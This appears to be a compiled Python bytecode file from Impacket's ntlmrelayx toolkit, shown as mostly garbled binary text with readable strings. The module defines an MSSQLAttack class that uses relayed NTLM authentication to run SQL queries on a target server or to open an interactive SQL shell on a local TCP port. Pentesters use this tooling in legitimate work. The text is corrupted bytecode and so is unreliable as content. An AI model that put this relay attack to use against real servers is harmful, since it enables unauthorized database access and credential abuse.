o
    àý°jÚ  ã                   @   sH   d dl mZ d dlmZ d dlmZ d dlmZ dZG dd„ deƒZ	dS )é    )ÚLOG)ÚSQLSHELL)ÚProtocolAttack)ÚTcpShellÚMSSQLAttackc                   @   s$   e Zd ZdgZddd„Zdd„ ZdS )r   ÚMSSQLNc                 C   s,   t  | |||||¡ | jjrtƒ | _d S d S )N)r   Ú__init__ÚconfigÚinteractiver   Ú	tcp_shell)Úselfr	   ÚMSSQLclientÚusernameÚtargetÚrelay_client© r   ú£/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/attacks/mssqlattack.pyr      s   þzMSSQLAttack.__init__c                 C   s¤   | j jr%| jd ur%t d| jj ¡ | j ¡  t| j| jd�}| 	¡  d S | j j
d urK| j j
D ]}t d| ¡ | j |¡ | j ¡  | j ¡  q/d S t d¡ d S )Nz7Started interactive MSSQL shell via TCP on 127.0.0.1:%d)ÚtcpShellzExecuting SQL: %sz)No SQL queries specified for MSSQL relay!)r	   r
   r   r   ÚinfoÚportÚlistenr   ÚclientÚcmdloopÚqueriesÚ	sql_queryÚprintRepliesÚ	printRowsÚerror)r   Úmssql_shellÚqueryr   r   r   Úrun#   s   


üzMSSQLAttack.run)NN)Ú__name__Ú
__module__Ú__qualname__ÚPLUGIN_NAMESr   r    r   r   r   r   r      s    
N)
Úimpacketr   Úimpacket.examples.mssqlshellr   Ú$impacket.examples.ntlmrelayx.attacksr   Ú+impacket.examples.ntlmrelayx.utils.tcpshellr   ÚPROTOCOL_ATTACK_CLASSr   r   r   r   r   Ú<module>   s   